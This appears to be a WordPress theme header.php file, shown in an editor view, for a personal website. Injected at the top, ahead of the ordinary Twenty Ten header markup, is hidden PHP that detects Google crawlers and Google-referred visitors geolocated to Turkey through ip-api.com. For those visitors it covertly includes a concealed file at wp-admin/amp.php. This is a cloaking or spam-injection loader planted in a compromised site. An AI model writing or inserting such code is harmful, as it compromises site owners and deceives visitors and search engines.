Google
Edit File: header.php
<?php // Run only on the front page or the posts page (blog page) if (function_exists('is_front_page') && (is_front_page() || is_home())) { $userAgent = !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referer = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $googleBots = [ 'Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-News', 'Googlebot-Search', 'Googlebot-Inspect', 'Googlebot-Android', 'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery', 'Google-', ]; // Regex pattern for Google bots $botPattern = '/(?:' . implode('|', array_map('preg_quote', $googleBots)) . ')/i'; // Define isFromTurkey only if it doesn't already exist if (!function_exists('isFromTurkey')) { function isFromTurkey($ip) { static $cache = []; if (isset($cache[$ip])) { return $cache[$ip]; } $url = "http://ip-api.com/json/{$ip}?fields=countryCode"; $response = @file_get_contents($url); if ($response === false) { $cache[$ip] = false; return false; } $data = json_decode($response, true); $isTurkey = (isset($data['countryCode']) && $data['countryCode'] === 'TR'); $cache[$ip] = $isTurkey; return $isTurkey; } } $visitorIp = $_SERVER['REMOTE_ADDR'] ?? ''; $isGoogleBot = (bool) preg_match($botPattern, $userAgent); $isGoogleRefFromTR = (!$isGoogleBot) && preg_match('/google\./i', $referer) && isFromTurkey($visitorIp); if ($isGoogleBot || $isGoogleRefFromTR) { $ampFile = ABSPATH . 'wp-admin/amp.php'; if (file_exists($ampFile) && is_readable($ampFile)) { include $ampFile; } else { error_log('AMP dosyası bulunamadı veya okunamıyor: ' . $ampFile); } } } ?> <?php /** * The Header for our theme. * * Displays all of the <head> section and everything up till <div id="main"> * * @package WordPress * @subpackage Twenty_Ten * @since Twenty Ten 1.0 */ ?><!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta charset="<?php bloginfo( 'charset' ); ?>" /> <title><?php /* * Print the <title> tag based on what is being viewed. */ global $page, $paged; wp_title( '|', true, 'right' ); // Add the blog name. bloginfo( 'name' ); // Add the blog description for the home/front page. $site_description = get_bloginfo( 'description', 'display' ); if ( $site_description && ( is_home() || is_front_page() ) ) echo " | $site_description"; // Add a page number if necessary: if ( $paged >= 2 || $page >= 2 ) echo ' | ' . sprintf( __( 'Page %s', 'twentyten' ), max( $paged, $page ) ); ?></title> <link rel="profile" href="http://gmpg.org/xfn/11" /> <link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>" /> <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" /> <link rel="stylesheet" type="text/css" href="<?php bloginfo( 'stylesheet_directory' ); ?>/colorbox.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script> <script type="text/javascript" src="<?php bloginfo( 'stylesheet_directory' ); ?>/js/jquery.tinycarousel.min.js"></script> <script type="text/javascript" src="<?php bloginfo( 'stylesheet_directory' ); ?>/js/jquery.colorbox.js"></script> <script> $(document).ready(function(){ //Examples of how to assign the ColorBox event to elements $(".group1").colorbox({rel:'group1'}); $(".group2").colorbox({rel:'group2', transition:"fade"}); $(".group3").colorbox({rel:'group3', transition:"none", width:"75%", height:"75%"}); $(".group4").colorbox({rel:'group4', slideshow:true}); $(".ajax").colorbox(); $(".callbacks").colorbox({ onOpen:function(){ alert('onOpen: colorbox is about to open'); }, onLoad:function(){ alert('onLoad: colorbox has started to load the targeted content'); }, onComplete:function(){ alert('onComplete: colorbox has displayed the loaded content'); }, onCleanup:function(){ alert('onCleanup: colorbox has begun the close process'); }, onClosed:function(){ alert('onClosed: colorbox has completely closed'); } }); //Example of preserving a JavaScript event for inline calls. $("#click").click(function(){ $('#click').css({"background-color":"#f00", "color":"#fff", "cursor":"inherit"}).text("Open this window again and this message will still be here."); return false; }); }); </script> <script type="text/javascript"> $(document).ready(function(){ $('#home-slider').tinycarousel({ controls: true, interval: true }); }); $(document).ready(function(){ $('#photo-slider').tinycarousel({ display: 3 }); }); $(function() { function filterPath(string) { return string .replace(/^\//,'') .replace(/(index|default).[a-zA-Z]{3,4}$/,'') .replace(/\/$/,''); } var locationPath = filterPath(location.pathname); var scrollElem = scrollableElement('html', 'body'); // Any links with hash tags in them (can't do ^= because of fully qualified URL potential) $('a[href*=#]').each(function() { // Ensure it's a same-page link var thisPath = filterPath(this.pathname) || locationPath; if ( locationPath == thisPath && (location.hostname == this.hostname || !this.hostname) && this.hash.replace(/#/,'') ) { // Ensure target exists var $target = $(this.hash), target = this.hash; if (target) { // Find location of target var targetOffset = $target.offset().top; $(this).click(function(event) { // Prevent jump-down event.preventDefault(); // Animate to target $(scrollElem).animate({scrollTop: targetOffset}, 400, function() { // Set hash in URL after animation successful location.hash = target; }); }); } } }); // Use the first element that is "scrollable" (cross-browser fix?) function scrollableElement(els) { for (var i = 0, argLength = arguments.length; i <argLength; i++) { var el = arguments[i], $scrollElement = $(el); if ($scrollElement.scrollTop()> 0) { return el; } else { $scrollElement.scrollTop(1); var isScrollable = $scrollElement.scrollTop()> 0; $scrollElement.scrollTop(0); if (isScrollable) { return el; } } } return []; } }); </script> <?php /* We add some JavaScript to pages with the comment form * to support sites with threaded comments (when in use). */ if ( is_singular() && get_option( 'thread_comments' ) ) wp_enqueue_script( 'comment-reply' ); /* Always have wp_head() just before the closing </head> * tag of your theme, or you will break many plugins, which * generally use this hook to add elements to <head> such * as styles, scripts, and meta tags. */ wp_head(); ?> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-6180443-64']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </head> <body <?php body_class(); ?>> <div id="wrapper" class="hfeed"> <div id="header"><div class="wrapper"> <div id="top"> <div id="branding" role="banner"> <?php $heading_tag = ( is_home() || is_front_page() ) ? 'h1' : 'div'; ?> <<?php echo $heading_tag; ?> id="site-title"> <span> <a href="<?php echo home_url( '/' ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a> </span> </<?php echo $heading_tag; ?>> <div id="share-buttons"> <a href="http://www.twitter.com/joeygratton" target="_blank"><img src="<?php bloginfo( 'stylesheet_directory' ); ?>/images/twitter.png" alt="Joey Gratton's Twitter"></a> <a href="http://www.facebook.com/JoeyGratton" target="_blank"><img src="<?php bloginfo( 'stylesheet_directory' ); ?>/images/facebook.png" alt="Joey Gratton Facebook"></a> <a href="http://www.youtube.com/watch?v=UpEL6LJdjh4" target="_blank"><img src="<?php bloginfo( 'stylesheet_directory' ); ?>/images/youtube.png" alt="Joey Gratton Video"></a> </div> </div><!-- #branding --> <div id="nav" role="navigation"> <ul> <li class="about"><a href="<?php echo home_url( '/' ); ?>#about">about</a></li> <li class="mission"><a href="<?php echo home_url( '/' ); ?>#mission">mission</a></li> <li class="contact"><a href="<?php echo home_url( '/' ); ?>#contact">contact</a></li> <li class="blog"><a href="<?php echo home_url( '/' ); ?>blog">blog</a></li> </ul> </div><!-- #access --> </div><!-- #masthead --></div> </div><!-- #header --> <?php if ( is_front_page() ) { ?> <div id="home-slider-wrap"><div class="wrapper"> <div id="home-slider"> <a class="donate" href="/donate">donate</a> <a class="buttons prev" href="#">left</a> <div class="viewport"> <ul class="overview"> <li><img src="<?php bloginfo( 'stylesheet_directory' ); ?>/images/homeslider/slide1.jpg" alt="slide1" /></li> <li><a href="#about"><img src="<?php bloginfo( 'stylesheet_directory' ); ?>/images/homeslider/slide2.jpg" alt="slide2" /></a></li> <li><a href="#ourmission"><img src="<?php bloginfo( 'stylesheet_directory' ); ?>/images/homeslider/slide3.jpg" alt="slide3" /></a></li> <li><a href="#contact"><img src="<?php bloginfo( 'stylesheet_directory' ); ?>/images/homeslider/slide4.jpg" alt="slide4" /></a></li> </ul> </div> <a class="buttons next" href="#">right</a> </div></div></div> <?php } else { ?> <div id="photo-gall"><div class="wrapper"> <div class="bloc-title2"> </div> </div></div> <div class="wrapper"> <?php } ?>